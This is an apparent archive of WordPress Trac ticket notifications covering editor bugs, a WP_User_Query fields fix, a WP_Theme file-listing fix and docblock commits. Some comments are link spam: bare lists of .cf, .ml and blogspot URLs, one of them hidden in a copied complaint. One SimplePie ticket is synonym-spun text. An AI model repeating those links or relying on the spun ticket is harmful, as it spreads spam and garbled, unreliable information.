<048.63c10e6ff6c949ab236cf6467390b722@wordpress.org> Message-ID: <063.5a1e181fb4cb1290ccc7da06cd682cda@wordpress.org> #55611: Changes disappear when switching the editor mode --------------------------+------------------------------ Reporter: axdr | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: General | Version: Severity: normal | Resolution: Keywords: | Focuses: --------------------------+------------------------------ Comment (by joyously): Which editor? Which version? What kind of content? Did you test without plugins? -- Ticket URL: <https://core.trac.wordpress.org/ticket/55611#comment:1> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 25 01:45:31 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 25 Apr 2022 01:45:31 -0000 Subject: [wp-trac] [WordPress Trac] #55614: error multi charge stripe woocommerce Message-ID: <053.ecad8bd327dd82e0188ce3f51c40a119@wordpress.org> #55614: error multi charge stripe woocommerce ----------------------------+----------------------------- Reporter: bbaodenx3 | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: General | Version: 5.9.3 Severity: critical | Keywords: has-screenshots Focuses: administration | ----------------------------+----------------------------- hello, error multi charge stripe woocommerce Please help -- Ticket URL: <https://core.trac.wordpress.org/ticket/55614> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 25 01:45:47 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 25 Apr 2022 01:45:47 -0000 Subject: [wp-trac] [WordPress Trac] #55614: error multi charge stripe woocommerce In-Reply-To: <053.ecad8bd327dd82e0188ce3f51c40a119@wordpress.org> References: <053.ecad8bd327dd82e0188ce3f51c40a119@wordpress.org> Message-ID: <068.f0717b267a7f130f951563611dc94aa0@wordpress.org> #55614: error multi charge stripe woocommerce -----------------------------+------------------------------ Reporter: bbaodenx3 | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: General | Version: 5.9.3 Severity: critical | Resolution: Keywords: has-screenshots | Focuses: administration -----------------------------+------------------------------ Changes (by bbaodenx3): * Attachment "error.PNG" added. error multi charge stripe woocommerce -- Ticket URL: <https://core.trac.wordpress.org/ticket/55614> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 25 04:48:22 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 25 Apr 2022 04:48:22 -0000 Subject: [wp-trac] [WordPress Trac] #55611: Changes disappear when switching the editor mode In-Reply-To: <048.63c10e6ff6c949ab236cf6467390b722@wordpress.org> References: <048.63c10e6ff6c949ab236cf6467390b722@wordpress.org> Message-ID: <063.be841e783a176852392cadaaac6c0f95@wordpress.org> #55611: Changes disappear when switching the editor mode -----------------------------+------------------------------ Reporter: axdr | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: Editor | Version: Severity: normal | Resolution: Keywords: block-editor-ui | Focuses: -----------------------------+------------------------------ Changes (by sabernhardt): * keywords: => block-editor-ui * component: General => Editor Comment: Thanks for the report! This sounds like #49795, and I'll move that report to GitHub so the Gutenberg team can address it. If this is the same, we could close both Trac tickets as "reported- upstream" then. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55611#comment:2> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 25 05:30:45 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 25 Apr 2022 05:30:45 -0000 Subject: [wp-trac] [WordPress Trac] #49795: Content loss when switching between code and visual editor with the keyboard shortcut (Ctrl+Shift+Alt+M) In-Reply-To: <053.020f168e7f8f4d81bec746a4ef0a39aa@wordpress.org> References: <053.020f168e7f8f4d81bec746a4ef0a39aa@wordpress.org> Message-ID: <068.7123973b271437115aa8a9d19dec1043@wordpress.org> #49795: Content loss when switching between code and visual editor with the keyboard shortcut (Ctrl+Shift+Alt+M) --------------------------+-------------------------------- Reporter: angelxube | Owner: (none) Type: defect (bug) | Status: closed Priority: normal | Milestone: Component: Editor | Version: 5.4 Severity: normal | Resolution: reported-upstream Keywords: | Focuses: --------------------------+-------------------------------- Changes (by sabernhardt): * status: new => closed * resolution: => reported-upstream * milestone: Awaiting Review => Comment: This report is moved to GitHub. If you have anything to add, please comment on the issue: https://github.com/WordPress/gutenberg/issues/40575 -- Ticket URL: <https://core.trac.wordpress.org/ticket/49795#comment:6> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 25 05:35:34 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 25 Apr 2022 05:35:34 -0000 Subject: [wp-trac] [WordPress Trac] #13180: filter( 'the_content', 'prepend_attachment' ) on attachment pages may be problem In-Reply-To: <051.2d9b81e8162de0e53418b1c4171b86bd@wordpress.org> References: <051.2d9b81e8162de0e53418b1c4171b86bd@wordpress.org> Message-ID: <066.005a9a792605f2849a1a608504a529fb@wordpress.org> #13180: filter( 'the_content', 'prepend_attachment' ) on attachment pages may be problem --------------------------+---------------------- Reporter: thomask | Owner: azaozz Type: defect (bug) | Status: closed Priority: lowest | Milestone: Component: Widgets | Version: 3.0 Severity: minor | Resolution: invalid Keywords: | Focuses: --------------------------+---------------------- Comment (by daviese): http://bigbreakingnews.cf/ http://everydayreading.ml/ http://verywellmindquiz.ml/ http://toptrendingnews.ml/ http://thedailynewsguide.ml/ http://whatnewsinsight.ml/ http://independentcouk.cf/ http://globalnewsissues.cf/ http://washingtonpostnews.cf/ http://bbcworldwidenews.cf/ https://startmelex.blogspot.com/ https://bestlivenewsonline.blogspot.com/ https://socialmedialivetrend.blogspot.com/ https://myreviewwork.blogspot.com/ https://yourblogswrite.blogspot.com/ https://biguso.blogspot.com/ https://versatileo.blogspot.com/ https://finenewblog.blogspot.com/ https://bestniceoptions.blogspot.com/ https://thebestdigitalmarketingonline.blogspot.com/ https://fivestarbestreviews.blogspot.com/ https://namenewblog.blogspot.com/ -- Ticket URL: <https://core.trac.wordpress.org/ticket/13180#comment:5> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 25 05:36:16 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 25 Apr 2022 05:36:16 -0000 Subject: [wp-trac] [WordPress Trac] #55611: Changes disappear when switching the editor mode In-Reply-To: <048.63c10e6ff6c949ab236cf6467390b722@wordpress.org> References: <048.63c10e6ff6c949ab236cf6467390b722@wordpress.org> Message-ID: <063.8e125dca6ca6258885ac29590a4d0f35@wordpress.org> #55611: Changes disappear when switching the editor mode -----------------------------+------------------------------ Reporter: axdr | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: Editor | Version: Severity: normal | Resolution: Keywords: block-editor-ui | Focuses: -----------------------------+------------------------------ Comment (by sabernhardt): Update: #49795 is moved to [https://github.com/WordPress/gutenberg/issues/40575 Gutenberg issue 40575] -- Ticket URL: <https://core.trac.wordpress.org/ticket/55611#comment:3> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 25 05:37:02 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 25 Apr 2022 05:37:02 -0000 Subject: [wp-trac] [WordPress Trac] #55612: Shortcut Ctrl-Alt-Shift-M does not work in editor In-Reply-To: <048.14c7dfc7ea839a656a83113a5c87d48e@wordpress.org> References: <048.14c7dfc7ea839a656a83113a5c87d48e@wordpress.org> Message-ID: <063.1188fd33bbee8bbae12c6fb49458d3e1@wordpress.org> #55612: Shortcut Ctrl-Alt-Shift-M does not work in editor -----------------------------+------------------------------ Reporter: axdr | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: Editor | Version: Severity: normal | Resolution: Keywords: block-editor-ui | Focuses: -----------------------------+------------------------------ Changes (by sabernhardt): * keywords: => block-editor-ui * component: General => Editor Comment: Because this is a block editor interface problem, could you report it on GitHub? https://github.com/WordPress/gutenberg/issues/new/choose -- Ticket URL: <https://core.trac.wordpress.org/ticket/55612#comment:1> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 25 05:38:06 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 25 Apr 2022 05:38:06 -0000 Subject: [wp-trac] [WordPress Trac] #55614: error multi charge stripe woocommerce In-Reply-To: <053.ecad8bd327dd82e0188ce3f51c40a119@wordpress.org> References: <053.ecad8bd327dd82e0188ce3f51c40a119@wordpress.org> Message-ID: <068.4a3c87615e7dfb457473dbbbd272d370@wordpress.org> #55614: error multi charge stripe woocommerce -----------------------------+----------------------------- Reporter: bbaodenx3 | Owner: (none) Type: defect (bug) | Status: closed Priority: normal | Milestone: Component: General | Version: 5.9.3 Severity: critical | Resolution: invalid Keywords: has-screenshots | Focuses: administration -----------------------------+----------------------------- Changes (by sabernhardt): * status: new => closed * resolution: => invalid * milestone: Awaiting Review => Comment: Hi and welcome to Trac! Sorry to hear that you're having trouble with your website. The [https://wordpress.org/support/plugin/woocommerce/ WooCommerce support forum] likely would be more helpful for individual site help. If this is caused by a bug in WordPress Core instead of the plugin, please let us know. I'll close this ticket as invalid, meaning that there is no further action we can take at this time. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55614#comment:1> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 25 07:08:54 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 25 Apr 2022 07:08:54 -0000 Subject: [wp-trac] [WordPress Trac] #11988: VERP does not work In-Reply-To: <063.ef053b72028996ad60c9f8ace4581d41@wordpress.org> References: <063.ef053b72028996ad60c9f8ace4581d41@wordpress.org> Message-ID: <078.6ecd4fb611441d44cd7da4d7a94c0876@wordpress.org> #11988: VERP does not work ---------------------------------+---------------------- Reporter: vladimir_kolesnikov | Owner: westi Type: defect (bug) | Status: closed Priority: normal | Milestone: Component: Mail | Version: 3.0 Severity: normal | Resolution: invalid Keywords: has-patch | Focuses: ---------------------------------+---------------------- Comment (by kelvinks): http://bigbreakingnews.cf/ http://everydayreading.ml/ http://verywellmindquiz.ml/ http://toptrendingnews.ml/ http://thedailynewsguide.ml/ http://whatnewsinsight.ml/ http://independentcouk.cf/ http://globalnewsissues.cf/ http://washingtonpostnews.cf/ http://bbcworldwidenews.cf/ -- Ticket URL: <https://core.trac.wordpress.org/ticket/11988#comment:13> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 25 07:16:16 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 25 Apr 2022 07:16:16 -0000 Subject: [wp-trac] [WordPress Trac] #52626: Block editor doesn't paginate parent page results In-Reply-To: <052.1df4975e245eba4b15185b74ea3a6d20@wordpress.org> References: <052.1df4975e245eba4b15185b74ea3a6d20@wordpress.org> Message-ID: <067.5aeb1000591504b2776a3cfc141a5a95@wordpress.org> #52626: Block editor doesn't paginate parent page results --------------------------+------------------------------ Reporter: hobzhobz | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: Editor | Version: 5.6.2 Severity: major | Resolution: Keywords: | Focuses: rest-api --------------------------+------------------------------ Comment (by axdr): All pages are definitely unnecessary to fill this list when there are too many pages. And there is no point in the pagination. -- Ticket URL: <https://core.trac.wordpress.org/ticket/52626#comment:11> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 25 07:17:47 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 25 Apr 2022 07:17:47 -0000 Subject: [wp-trac] [WordPress Trac] #55612: Shortcut Ctrl-Alt-Shift-M does not work in editor In-Reply-To: <048.14c7dfc7ea839a656a83113a5c87d48e@wordpress.org> References: <048.14c7dfc7ea839a656a83113a5c87d48e@wordpress.org> Message-ID: <063.f65c9137bd7b94b232ccc1c8c33b6d65@wordpress.org> #55612: Shortcut Ctrl-Alt-Shift-M does not work in editor -----------------------------+------------------------------ Reporter: axdr | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: Editor | Version: Severity: normal | Resolution: Keywords: block-editor-ui | Focuses: -----------------------------+------------------------------ Comment (by axdr): OK -- Ticket URL: <https://core.trac.wordpress.org/ticket/55612#comment:2> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 25 07:20:13 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 25 Apr 2022 07:20:13 -0000 Subject: [wp-trac] [WordPress Trac] #55611: Changes disappear when switching the editor mode In-Reply-To: <048.63c10e6ff6c949ab236cf6467390b722@wordpress.org> References: <048.63c10e6ff6c949ab236cf6467390b722@wordpress.org> Message-ID: <063.760a3308799597db7f33fb4eac744201@wordpress.org> #55611: Changes disappear when switching the editor mode -----------------------------+------------------------------ Reporter: axdr | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: Editor | Version: Severity: normal | Resolution: Keywords: block-editor-ui | Focuses: -----------------------------+------------------------------ Comment (by axdr): Replying to [comment:3 sabernhardt]: > Update: #49795 is moved to [https://github.com/WordPress/gutenberg/issues/40575 Gutenberg issue 40575] Thanks -- Ticket URL: <https://core.trac.wordpress.org/ticket/55611#comment:4> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 25 07:42:02 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 25 Apr 2022 07:42:02 -0000 Subject: [wp-trac] [WordPress Trac] #55615: The Shortcut Ctrl-Alt-Shift-M does not work in editor Message-ID: <051.78fb56c7fd2c6f7c488fbaca1180d320@wordpress.org> #55615: The Shortcut Ctrl-Alt-Shift-M does not work in editor --------------------------+----------------------------- Reporter: jenimjn | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: Editor | Version: Severity: minor | Keywords: Focuses: | --------------------------+----------------------------- We manage a lot of users who have WordPress blogs, and probably the number one user support request we have to field comes out of this situation: User decides they want to move their WordPress, They move the folder to a new URL,9[https://startmelex.blogspot.com/ .]Their admin page stops working, because it still had the old URL hard- coded. This is silly and should be fixed. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55615> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 25 09:16:39 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 25 Apr 2022 09:16:39 -0000 Subject: [wp-trac] [WordPress Trac] #53599: WP_Theme::get_files() returns unexpected entry if parent theme not available. In-Reply-To: <048.e1ad3b46a74f5d9af2b40c9e9d7ca0c0@wordpress.org> References: <048.e1ad3b46a74f5d9af2b40c9e9d7ca0c0@wordpress.org> Message-ID: <063.0fd52335e4ca7e6a1f70ae85ff7398e7@wordpress.org> #53599: WP_Theme::get_files() returns unexpected entry if parent theme not available. -------------------------------------------------+------------------------- Reporter: dd32 | Owner: audrasjb Type: defect (bug) | Status: reviewing Priority: normal | Milestone: 6.0 Component: Themes | Version: Severity: minor | Resolution: Keywords: good-first-bug has-patch has-unit- | Focuses: tests | -------------------------------------------------+------------------------- Changes (by audrasjb): * owner: hellofromTonya => audrasjb * status: assigned => reviewing Comment: The PR looks good to me. Reassigning this ticket for final review. I updated the above PR to add a small change on Tests docblocks. -- Ticket URL: <https://core.trac.wordpress.org/ticket/53599#comment:11> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 25 09:21:17 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 25 Apr 2022 09:21:17 -0000 Subject: [wp-trac] [WordPress Trac] #54729: Docblock improvements for WP 6.0 In-Reply-To: <058.e97648b36f9e1c40d59d78da529f4b69@wordpress.org> References: <058.e97648b36f9e1c40d59d78da529f4b69@wordpress.org> Message-ID: <073.0781128b9c7fd1a29245ad140dd053a9@wordpress.org> #54729: Docblock improvements for WP 6.0 ----------------------------+--------------------- Reporter: hellofromTonya | Owner: (none) Type: task (blessed) | Status: new Priority: normal | Milestone: 6.0 Component: General | Version: Severity: normal | Resolution: Keywords: has-patch | Focuses: docs ----------------------------+--------------------- Comment (by audrasjb): In [changeset:"53250" 53250]: {{{ #!CommitTicketReference repository="" revision="53250" Docs: Use third-person singular verbs for function descriptions in `wp- includes/ms-load.php`, as per docs standards. See #54729. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/54729#comment:84> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 25 09:23:37 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 25 Apr 2022 09:23:37 -0000 Subject: [wp-trac] [WordPress Trac] #54729: Docblock improvements for WP 6.0 In-Reply-To: <058.e97648b36f9e1c40d59d78da529f4b69@wordpress.org> References: <058.e97648b36f9e1c40d59d78da529f4b69@wordpress.org> Message-ID: <073.11364c96b3bf61df3208f1944ddff634@wordpress.org> #54729: Docblock improvements for WP 6.0 ----------------------------+--------------------- Reporter: hellofromTonya | Owner: (none) Type: task (blessed) | Status: new Priority: normal | Milestone: 6.0 Component: General | Version: Severity: normal | Resolution: Keywords: has-patch | Focuses: docs ----------------------------+--------------------- Comment (by audrasjb): In [changeset:"53251" 53251]: {{{ #!CommitTicketReference repository="" revision="53251" Docs: Typo correction in `wp-includes/ms-functions.php` docblock. See #54729. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/54729#comment:85> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 25 09:29:17 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 25 Apr 2022 09:29:17 -0000 Subject: [wp-trac] [WordPress Trac] #55615: SimplePie Version Updated Message-ID: <051.78fb56c7fd2c6f7c488fbaca1180d320@wordpress.org> #55615: SimplePie Version Updated --------------------------------+---------------------------------------- Reporter: jenimjn | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: External Libraries | Version: trunk Severity: normal | Keywords: needs-patch needs-dev-note Focuses: | --------------------------------+---------------------------------------- Another variant of SimplePie has recently been delivered. This rendition contains a couple of upgrades and some bug fixes. The most striking change, notwithstanding, is that this delivery contains a forward-similarity layer for the change to PSR-4 namespaced classes which is targetted for SimplePie 2.0.0. With a comparability to Requests - the namespaced adaptations of the classes are in an alternate base index (src) from the first renditions (library). As WP right now just remembers the records for the library catalog, I might want to recommend to do as such for the time being. This actually makes the forward-similarity layer accessible as all documents in the library catalog currently make a class nom de plume to their namespaced form. When 2.0.0 has been delivered, the records remembered for WP, ought to be changed to the documents from the src index (which is right now set up generally to take into account Composer autoloading) and ought to begin utilizing the namespaced names for the SimplePie classes. I'd prescribe for this update to be referenced in a dev-note, so modules/subjects straightforwardly utilizing SimplePie can choose for themselves when they need to change to utilizing the namespaced names for SimplePie classes. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55615> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 25 09:30:49 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 25 Apr 2022 09:30:49 -0000 Subject: [wp-trac] [WordPress Trac] #54729: Docblock improvements for WP 6.0 In-Reply-To: <058.e97648b36f9e1c40d59d78da529f4b69@wordpress.org> References: <058.e97648b36f9e1c40d59d78da529f4b69@wordpress.org> Message-ID: <073.267093dc37e823e01fcfbf2e12ba2ae5@wordpress.org> #54729: Docblock improvements for WP 6.0 ----------------------------+--------------------- Reporter: hellofromTonya | Owner: (none) Type: task (blessed) | Status: new Priority: normal | Milestone: 6.0 Component: General | Version: Severity: normal | Resolution: Keywords: has-patch | Focuses: docs ----------------------------+--------------------- Comment (by audrasjb): In [changeset:"53252" 53252]: {{{ #!CommitTicketReference repository="" revision="53252" Docs: Use third-person singular verbs for function descriptions in `wp- includes/nav-menu.php`, as per docs standards. See #54729. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/54729#comment:86> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 25 09:41:14 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 25 Apr 2022 09:41:14 -0000 Subject: [wp-trac] [WordPress Trac] #53599: WP_Theme::get_files() returns unexpected entry if parent theme not available. In-Reply-To: <048.e1ad3b46a74f5d9af2b40c9e9d7ca0c0@wordpress.org> References: <048.e1ad3b46a74f5d9af2b40c9e9d7ca0c0@wordpress.org> Message-ID: <063.b1b84667ed578557bf755f3b94ae75eb@wordpress.org> #53599: WP_Theme::get_files() returns unexpected entry if parent theme not available. -------------------------------------------------+------------------------- Reporter: dd32 | Owner: audrasjb Type: defect (bug) | Status: reviewing Priority: normal | Milestone: 6.0 Component: Themes | Version: Severity: minor | Resolution: Keywords: good-first-bug has-patch has-unit- | Focuses: tests commit assigned-for-commit | -------------------------------------------------+------------------------- Changes (by audrasjb): * keywords: good-first-bug has-patch has-unit-tests => good-first-bug has- patch has-unit-tests commit assigned-for-commit -- Ticket URL: <https://core.trac.wordpress.org/ticket/53599#comment:12> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 25 09:45:16 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 25 Apr 2022 09:45:16 -0000 Subject: [wp-trac] [WordPress Trac] #53599: WP_Theme::get_files() returns unexpected entry if parent theme not available. In-Reply-To: <048.e1ad3b46a74f5d9af2b40c9e9d7ca0c0@wordpress.org> References: <048.e1ad3b46a74f5d9af2b40c9e9d7ca0c0@wordpress.org> Message-ID: <063.37cb7122287c3296cb1ef8d71c51b2ec@wordpress.org> #53599: WP_Theme::get_files() returns unexpected entry if parent theme not available. -------------------------------------------------+------------------------- Reporter: dd32 | Owner: audrasjb Type: defect (bug) | Status: closed Priority: normal | Milestone: 6.0 Component: Themes | Version: Severity: minor | Resolution: fixed Keywords: good-first-bug has-patch has-unit- | Focuses: tests commit assigned-for-commit | -------------------------------------------------+------------------------- Changes (by audrasjb): * status: reviewing => closed * resolution: => fixed Comment: In [changeset:"53253" 53253]: {{{ #!CommitTicketReference repository="" revision="53253" Themes: Ensure `WP_Theme::get_files()` doesn't return unexpected values. This change filters out empty entries from `WP_Theme::get_files()` before returning the array of files. This avoid returning an entry with `false` value when the directory of the theme does not exist. Props dd32, opurockey, Rahmohn, audrasjb. Fixes #53599. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/53599#comment:13> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 25 09:52:32 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 25 Apr 2022 09:52:32 -0000 Subject: [wp-trac] [WordPress Trac] #54729: Docblock improvements for WP 6.0 In-Reply-To: <058.e97648b36f9e1c40d59d78da529f4b69@wordpress.org> References: <058.e97648b36f9e1c40d59d78da529f4b69@wordpress.org> Message-ID: <073.a38d50fc58efffd677d418c113fe3f06@wordpress.org> #54729: Docblock improvements for WP 6.0 ----------------------------+--------------------- Reporter: hellofromTonya | Owner: (none) Type: task (blessed) | Status: new Priority: normal | Milestone: 6.0 Component: General | Version: Severity: normal | Resolution: Keywords: has-patch | Focuses: docs ----------------------------+--------------------- Comment (by audrasjb): In [changeset:"53254" 53254]: {{{ #!CommitTicketReference repository="" revision="53254" Docs: Use third-person singular verbs for function descriptions in `WP_Theme` Class, as per docs standards. See #54729. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/54729#comment:87> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 25 11:42:54 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 25 Apr 2022 11:42:54 -0000 Subject: [wp-trac] [WordPress Trac] #52626: Block editor doesn't paginate parent page results In-Reply-To: <052.1df4975e245eba4b15185b74ea3a6d20@wordpress.org> References: <052.1df4975e245eba4b15185b74ea3a6d20@wordpress.org> Message-ID: <067.900ad520fa5be15b0bee2a68729aa8bf@wordpress.org> #52626: Block editor doesn't paginate parent page results --------------------------+------------------------------ Reporter: hobzhobz | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: Editor | Version: 5.6.2 Severity: major | Resolution: Keywords: | Focuses: rest-api --------------------------+------------------------------ Comment (by hobzhobz): Replying to [comment:11 axdr]: > All pages are definitely unnecessary to fill this list when there are too many pages. > And there is no point in the pagination. How to build a page tree without all the pages? What exactly are you proposing? -- Ticket URL: <https://core.trac.wordpress.org/ticket/52626#comment:12> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 25 12:42:12 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 25 Apr 2022 12:42:12 -0000 Subject: [wp-trac] [WordPress Trac] #53177: WP_User_Query does not accept fields as string except ID In-Reply-To: <050.7a532f1587592d74c55a28a712ff8ed2@wordpress.org> References: <050.7a532f1587592d74c55a28a712ff8ed2@wordpress.org> Message-ID: <065.032a28cd2ec2e201c85ecc6392dd18b4@wordpress.org> #53177: WP_User_Query does not accept fields as string except ID -------------------------------------------------+------------------------- Reporter: rilwis | Owner: audrasjb Type: defect (bug) | Status: accepted Priority: normal | Milestone: 6.0 Component: Users | Version: 4.4 Severity: normal | Resolution: Keywords: has-patch has-unit-tests has- | Focuses: docs testing-info commit assigned-for-commit | -------------------------------------------------+------------------------- Changes (by audrasjb): * keywords: has-patch has-unit-tests has-testing-info needs-testing => has-patch has-unit-tests has-testing-info commit assigned-for-commit * owner: (none) => audrasjb * status: new => accepted Comment: Tested with a fresh 6.0 alpha installation, 4 users created and the following code: {{{ add_action( 'init', function() { $users = get_users( [ 'fields' => 'display_name', ] ); wp_die( print_r( $users ) ); } ); }}} Before patch, it returns: {{{ Array ( [0] => 3 [1] => 1 [2] => 2 [3] => 4 ) }}} After patch: {{{ Array ( [0] => Jack [1] => jb [2] => momo [3] => Roberta ) }}} Marking as good for commit. -- Ticket URL: <https://core.trac.wordpress.org/ticket/53177#comment:20> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 25 12:55:50 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 25 Apr 2022 12:55:50 -0000 Subject: [wp-trac] [WordPress Trac] #53177: WP_User_Query does not accept fields as string except ID In-Reply-To: <050.7a532f1587592d74c55a28a712ff8ed2@wordpress.org> References: <050.7a532f1587592d74c55a28a712ff8ed2@wordpress.org> Message-ID: <065.c09dc1dab4acb663f777d73f2a96077f@wordpress.org> #53177: WP_User_Query does not accept fields as string except ID -------------------------------------------------+------------------------- Reporter: rilwis | Owner: audrasjb Type: defect (bug) | Status: closed Priority: normal | Milestone: 6.0 Component: Users | Version: 4.4 Severity: normal | Resolution: fixed Keywords: has-patch has-unit-tests has- | Focuses: docs testing-info commit assigned-for-commit | -------------------------------------------------+------------------------- Changes (by audrasjb): * status: accepted => closed * resolution: => fixed Comment: In [changeset:"53255" 53255]: {{{ #!CommitTicketReference repository="" revision="53255" Users: Make sure `WP_User_Query` can be filtered using the `fields` parameter. This change ensures the `fields` parameter is taken into account when running `WP_User_Query` by fixing the conditional statement used to process the `fields` param. Props rilwis, peterwilsoncc, NomNom99, hellofromTonya, audrasjb, rilwis, Boniu91. Fixes #53177. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/53177#comment:21> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 25 12:57:29 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 25 Apr 2022 12:57:29 -0000 Subject: [wp-trac] [WordPress Trac] #53177: WP_User_Query does not accept fields as string except ID In-Reply-To: <050.7a532f1587592d74c55a28a712ff8ed2@wordpress.org> References: <050.7a532f1587592d74c55a28a712ff8ed2@wordpress.org> Message-ID: <065.73aa7da8bf17db14ff8cc8c1a4194a4f@wordpress.org> #53177: WP_User_Query does not accept fields as string except ID -------------------------------------------------+------------------------- Reporter: rilwis | Owner: audrasjb Type: defect (bug) | Status: closed Priority: normal | Milestone: 6.0 Component: Users | Version: 4.4 Severity: normal | Resolution: fixed Keywords: has-patch has-unit-tests has- | Focuses: docs testing-info commit assigned-for-commit | -------------------------------------------------+------------------------- Comment (by audrasjb): I forgot a props for @pbearne. I updated the props manually using the Core Props manual tool located on Make/Core. Sorry for the mistake :) -- Ticket URL: <https://core.trac.wordpress.org/ticket/53177#comment:23> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 25 12:59:07 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 25 Apr 2022 12:59:07 -0000 Subject: [wp-trac] [WordPress Trac] #53177: WP_User_Query does not accept fields as string except ID In-Reply-To: <050.7a532f1587592d74c55a28a712ff8ed2@wordpress.org> References: <050.7a532f1587592d74c55a28a712ff8ed2@wordpress.org> Message-ID: <065.138f299312d8903a3dc4e27977e7a7c9@wordpress.org> #53177: WP_User_Query does not accept fields as string except ID -------------------------------------------------+------------------------- Reporter: rilwis | Owner: audrasjb Type: defect (bug) | Status: closed Priority: normal | Milestone: 6.0 Component: Users | Version: 4.4 Severity: normal | Resolution: fixed Keywords: has-patch has-unit-tests has- | Focuses: docs testing-info commit assigned-for-commit | -------------------------------------------------+------------------------- Changes (by audrasjb): * Attachment "Capture d’écran 2022-04-25 à 14.58.16.png" added. omission corrected :) -- Ticket URL: <https://core.trac.wordpress.org/ticket/53177> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 25 13:03:31 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 25 Apr 2022 13:03:31 -0000 Subject: [wp-trac] [WordPress Trac] #54729: Docblock 